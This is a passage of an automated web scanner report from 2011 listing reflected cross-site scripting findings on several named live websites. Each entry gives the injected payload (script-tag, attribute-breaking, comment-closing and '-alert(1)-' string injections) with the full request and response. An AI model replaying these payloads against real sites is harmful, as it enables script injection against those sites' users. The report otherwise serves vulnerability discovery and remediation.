This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/gadget.php?58e51"><a>522c4e127ce=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41535
4.1326. http://www.netlingo.com/word/gizmo.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/gizmo.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39d82"><a>d22f30a3d97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/gizmo.php?39d82"><a>d22f30a3d97=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40751
4.1327. http://www.netlingo.com/word/lm4azzzz.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/lm4azzzz.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e602f"><a>2c13ec09b5a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/lm4azzzz.php?e602f"><a>2c13ec09b5a=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42120
4.1328. http://www.netlingo.com/word/mih.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/mih.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1933"><a>5d0ab0d4558 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/mih.php?d1933"><a>5d0ab0d4558=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42020
4.1329. http://www.netlingo.com/word/next-generation.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/next-generation.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3863"><a>0b0755e8582 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/next-generation.php?e3863"><a>0b0755e8582=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:28 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41520
4.1330. http://www.netlingo.com/word/online-jargon.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/online-jargon.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f22d6"><a>2eff2181cca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/online-jargon.php?f22d6"><a>2eff2181cca=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 43115
4.1331. http://www.netlingo.com/word/ru18-2.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/ru18-2.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef7b5"><a>f9a76007f4b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/ru18-2.php?ef7b5"><a>f9a76007f4b=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42149
4.1332. http://www.netlingo.com/word/wtg4a.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/wtg4a.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e4b5"><a>3bbfcd0a39f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/wtg4a.php?2e4b5"><a>3bbfcd0a39f=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42129
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db447'-alert(1)-'4497b15d2bd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /communitydb447'-alert(1)-'4497b15d2bd/blog/ebay-use-joomla-open-source-glue HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Tue, 25 Jan 2011 05:07:38 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 05:07:38 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=173.193.214.243.1295932058950579; path=/; expires=Thu, 24-Jan-13 05:07:38 GMT Content-Length: 76772
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 631b9'-alert(1)-'9295e160622 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/blog631b9'-alert(1)-'9295e160622/ebay-use-joomla-open-source-glue HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 nnCoection: close Content-Type: text/html; charset=utf-8 Expires: Tue, 25 Jan 2011 05:08:03 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 05:08:03 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=173.193.214.243.1295932083119661; path=/; expires=Thu, 24-Jan-13 05:08:03 GMT Set-Cookie: SESSa27dc0841fd4d8567c009be96a283c67=lts7jggqt7mh4usckji1vi4kq5; expires=Thu, 17-Feb-2011 08:41:23 GMT; path=/; domain=.networkworld.com Content-Length: 54336
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7ae6'-alert(1)-'d4cd0158299 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/blog/ebay-use-joomla-open-source-gluee7ae6'-alert(1)-'d4cd0158299 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 nnCoection: close Content-Type: text/html; charset=utf-8 Expires: Tue, 25 Jan 2011 05:08:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 05:08:37 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=173.193.214.243.1295932117258923; path=/; expires=Thu, 24-Jan-13 05:08:37 GMT Set-Cookie: SESSa27dc0841fd4d8567c009be96a283c67=oi7cm0b0p4fmmc7550rogm6md1; expires=Thu, 17-Feb-2011 08:41:57 GMT; path=/; domain=.networkworld.com Content-Length: 54336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns = "http://www.w3.org/1999/xhtml" xml:lang = "en" lang = ...[SNIP]... ium: '(none)', nsdr_auth: 'no', subtopicid: 0, outerref: '(none)', nwchannel: '(none)', request_uri: '/community/blog/ebay-use-joomla-open-source-gluee7ae6'-alert(1)-'d4cd0158299', doc_uri: '/community/index.php', site: '(none)', rxid: '(none)', nodeid: '(none)' }; }(); var jq_nodeid = "(none)"; var jq_request_uri = ...[SNIP]...
4.1336. http://www.networkworld.com/community/blog/ebay-use-joomla-open-source-glue [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.networkworld.com
Path:
/community/blog/ebay-use-joomla-open-source-glue
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f64ea'-alert(1)-'4daf3508b09 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/blog/ebay-use-joomla-open-source-glue?f64ea'-alert(1)-'4daf3508b09=1 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns = "http://www.w3.org/1999/xhtml" xml:lang = "en" lang = "en"> <head ...[SNIP]... um: '(none)', nsdr_auth: 'no', subtopicid: 0, outerref: '(none)', nwchannel: '(none)', request_uri: '/community/blog/ebay-use-joomla-open-source-glue?f64ea'-alert(1)-'4daf3508b09=1', doc_uri: '/community/index.php', site: 'subnet_opensource', rxid: '(none)', nodeid: '(none)' }; }(); var jq_nodeid = "(none)"; var jq_r ...[SNIP]...
4.1337. http://www.networkworld.com/community/blog/ebay-use-joomla-open-source-glue [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.networkworld.com
Path:
/community/blog/ebay-use-joomla-open-source-glue
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10d36"><script>alert(1)</script>979ddc20d91 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /community/blog/ebay-use-joomla-open-source-glue?10d36"><script>alert(1)</script>979ddc20d91=1 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload adb44'-alert(1)-'f4fbd266c3e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /newsadb44'-alert(1)-'f4fbd266c3e/2010/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:06:07 GMT Connection: close Connection: Transfer-Encoding Content-Length: 75204
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dc475'-alert(1)-'4d7477e29c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/2010dc475'-alert(1)-'4d7477e29c/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:06:46 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76793
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6f18f'-alert(1)-'8395c000953 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/2010/100710-ebay-deploys-joomla-for-analytics.html6f18f'-alert(1)-'8395c000953 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Tue, 25 Jan 2011 05:07:21 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 05:07:21 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=173.193.214.243.1295932041394853; path=/; expires=Thu, 24-Jan-13 05:07:21 GMT Content-Length: 75204
4.1341. http://www.networkworld.com/news/2010/100710-ebay-deploys-joomla-for-analytics.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8f45a'-alert(1)-'7a2e215cf42 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/2010/100710-ebay-deploys-joomla-for-analytics.html?8f45a'-alert(1)-'7a2e215cf42=1 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:04:50 GMT Connection: close Connection: Transfer-Encoding Content-Length: 122136
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74b10"><script>alert(1)</script>bdf3ff46ede was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /unix74b10"><script>alert(1)</script>bdf3ff46ede/utilities.html/x22 HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:17 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2738
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f0b14<script>alert(1)</script>2328a49be9a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /unixf0b14<script>alert(1)</script>2328a49be9a/utilities.html/x22 HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:18 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2734
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fed6"><script>alert(1)</script>254f42a5555 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /unix/utilities.html1fed6"><script>alert(1)</script>254f42a5555/x22 HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:18 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2738
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3d5dc<script>alert(1)</script>eb2a241fe88 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /unix/utilities.html3d5dc<script>alert(1)</script>eb2a241fe88/x22 HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:18 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2734
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 12334<script>alert(1)</script>20ade9eea3f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /unix/utilities.html/x2212334<script>alert(1)</script>20ade9eea3f HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:19 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2734
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30fdf"><script>alert(1)</script>ddc8787967e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /unix/utilities.html/x2230fdf"><script>alert(1)</script>ddc8787967e HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:19 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2738
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5b448<script>alert(1)</script>a3a034f5075 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /onlinepubs5b448<script>alert(1)</script>a3a034f5075/009629399 HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:07:24 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4246
The value of REST URL parameter 1 is copied into an HTML comment. The payload 1cd1b--><script>alert(1)</script>613d39895d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /onlinepubs1cd1b--><script>alert(1)</script>613d39895d4/009629399 HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:07:29 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4252
The value of REST URL parameter 2 is copied into an HTML comment. The payload 5816a--><script>alert(1)</script>01ffb216b83 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /onlinepubs/0096293995816a--><script>alert(1)</script>01ffb216b83 HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:07:41 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4252
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload fa322<script>alert(1)</script>48ce99f4b48 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /onlinepubs/009629399fa322<script>alert(1)</script>48ce99f4b48 HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:07:38 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4246
The value of REST URL parameter 1 is copied into an HTML comment. The payload 5d81f--><script>alert(1)</script>1c7bb61d234 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /onlinepubs5d81f--><script>alert(1)</script>1c7bb61d234/009629399/apdxa.htm HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:05:46 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4272
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c1a01<script>alert(1)</script>5c075d42855 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /onlinepubsc1a01<script>alert(1)</script>5c075d42855/009629399/apdxa.htm HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:05:40 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4266
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 830c0<script>alert(1)</script>667d2a8885b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /onlinepubs/009629399830c0<script>alert(1)</script>667d2a8885b/apdxa.htm HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:06:07 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4266
The value of REST URL parameter 2 is copied into an HTML comment. The payload ad8d0--><script>alert(1)</script>52643a8c339 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /onlinepubs/009629399ad8d0--><script>alert(1)</script>52643a8c339/apdxa.htm HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:06:10 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4272
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 2555c<script>alert(1)</script>531e0e4cf4d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /onlinepubs/009629399/apdxa.htm2555c<script>alert(1)</script>531e0e4cf4d HTTP/1.1 Host: www.opengroup.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 05:06:25 GMT Server: Apache/1.3.37 (Unix) PHP/4.4.4 Connection: close Content-Type: text/html Content-Length: 4266
